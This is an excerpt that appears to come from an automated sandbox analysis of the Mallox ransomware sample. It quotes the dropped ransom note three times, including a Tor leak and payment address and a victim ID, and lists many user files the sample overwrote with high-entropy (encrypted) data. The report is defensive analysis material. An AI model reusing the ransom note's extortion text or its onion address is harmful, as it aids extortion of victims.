Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\AC\INetHistory\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\AC\INetCookies\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\AC\INetCache\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx entropy: 7.9999425913	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs entropy: 7.99994072397	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist entropy: 7.99790300633	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs entropy: 7.99994348459	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat entropy: 7.99906548408	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E8F64-1910.pma entropy: 7.99995672162	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_field_data.json entropy: 7.99923866824	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\v1FieldTypes.json entropy: 7.99965123319	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E9065-1B98.pma entropy: 7.99995287175	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log entropy: 7.99959580911	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E902E-1634.pma entropy: 7.99995368426	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\crl-set entropy: 7.99209616435	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1 entropy: 7.99935597684	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons entropy: 7.990338024	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99791888758	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge entropy: 7.99468868724	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db entropy: 7.99442506545	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db entropy: 7.99203754513	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index entropy: 7.9993941967	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1 entropy: 7.99932530803	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal entropy: 7.99727564192	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor entropy: 7.99580584865	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Trust Tokens entropy: 7.99521118352	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL entropy: 7.99544337946	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies entropy: 7.9912828793	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data entropy: 7.99661263267	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm entropy: 7.99378951267	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons entropy: 7.9937029673	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History entropy: 7.99882120083	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index entropy: 7.99929221153	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\uu_host_config entropy: 7.99956211416	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index entropy: 7.99924716346	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens entropy: 7.99470788807	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL entropy: 7.995028169	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1 entropy: 7.99938459987	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index entropy: 7.99929807992	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1 entropy: 7.99930218832	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences entropy: 7.99375390003	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm entropy: 7.99376118014	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history entropy: 7.99083888814	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js entropy: 7.99775770759	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js entropy: 7.99984762508	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js entropy: 7.9998494359	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js entropy: 7.99978833493	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data entropy: 7.99911405165	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt entropy: 7.99767931462	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links entropy: 7.99855557503	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Vpn Tokens entropy: 7.99343680233	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites entropy: 7.99134091667	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js entropy: 7.99991888932	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js entropy: 7.99978018032	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js entropy: 7.99950768128	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js entropy: 7.99996492107	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js entropy: 7.99988305041	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js entropy: 7.99983878026	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ru\strings.json entropy: 7.99212196187	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\it\strings.json entropy: 7.9968333299	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\id\strings.json entropy: 7.99688835553	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr-CA\strings.json entropy: 7.99708763956	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr\strings.json entropy: 7.99691637757	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\es\strings.json entropy: 7.99711073963	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar\strings.json entropy: 7.99748508281	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\de\strings.json entropy: 7.99730509631	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\en-GB\strings.json entropy: 7.99696850749	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\nl\strings.json entropy: 7.99675392814	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ja\strings.json entropy: 7.99746021509	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-wal entropy: 7.99985986401	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hant\strings.json entropy: 7.99654639154	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hans\strings.json entropy: 7.99633046595	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\sv\strings.json entropy: 7.99649833262	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ru\strings.json entropy: 7.99799965204	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-PT\strings.json entropy: 7.99662173909	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-BR\strings.json entropy: 7.99714337266	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout\checkoutdata.json entropy: 7.99561467794	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json entropy: 7.99060232219	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js entropy: 7.99960744928	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js entropy: 7.99961409317	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json entropy: 7.99333575751	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-stable.json entropy: 7.999926007	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-pre-stable.json entropy: 7.99991027036	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json entropy: 7.99872259358	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites.json entropy: 7.99967112013	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js entropy: 7.99966553105	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js entropy: 7.99340700006	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js entropy: 7.99946477727	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1996.hyb entropy: 7.99840578371	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index entropy: 7.99931322398	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1 entropy: 7.99941095182	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index entropy: 7.9993395761	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js entropy: 7.99993148825	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1 entropy: 7.99931794453	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js entropy: 7.99987873592	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js entropy: 7.99988098005	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cy.hyb entropy: 7.99531674187	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cu.hyb entropy: 7.99649950404	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-nn.hyb entropy: 7.99886366816	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State entropy: 7.99574843287	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hu.hyb entropy: 7.99947192949	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ga.hyb entropy: 7.99490681172	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-et.hyb entropy: 7.99055844966	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-es.hyb entropy: 7.99014807212	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-us.hyb entropy: 7.99687414401	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-gb.hyb entropy: 7.9959948146	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-ch-1901.hyb entropy: 7.99817774496	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1901.hyb entropy: 7.99838218583	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-nb.hyb entropy: 7.99882373101	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Filtering Rules-AA entropy: 7.99954265225	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\10.34.0.50\Ruleset Data entropy: 7.99994647498	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\10.34.0.50\LICENSE entropy: 7.99213148783	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2 entropy: 7.99377368752	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0 entropy: 7.99485856112	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index entropy: 7.99934921178	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1 entropy: 7.9992696119	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips\2983\safety_tips.pb entropy: 7.99848529279	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store entropy: 7.99990939725	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\PKIMetadata\7.0.0.0\crs.pb entropy: 7.9993405793	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history entropy: 7.99194002223	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json entropy: 7.99963353865	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Typosquatting\1.20231005.1.0\typosquatting_list.pb entropy: 7.99884605306	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-ZH entropy: 7.9997681404	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-RU entropy: 7.99984399197	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-NL entropy: 7.99640631538	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-IT entropy: 7.99962188682	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-FR entropy: 7.99976329397	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-ES entropy: 7.99867767456	Jump to dropped file
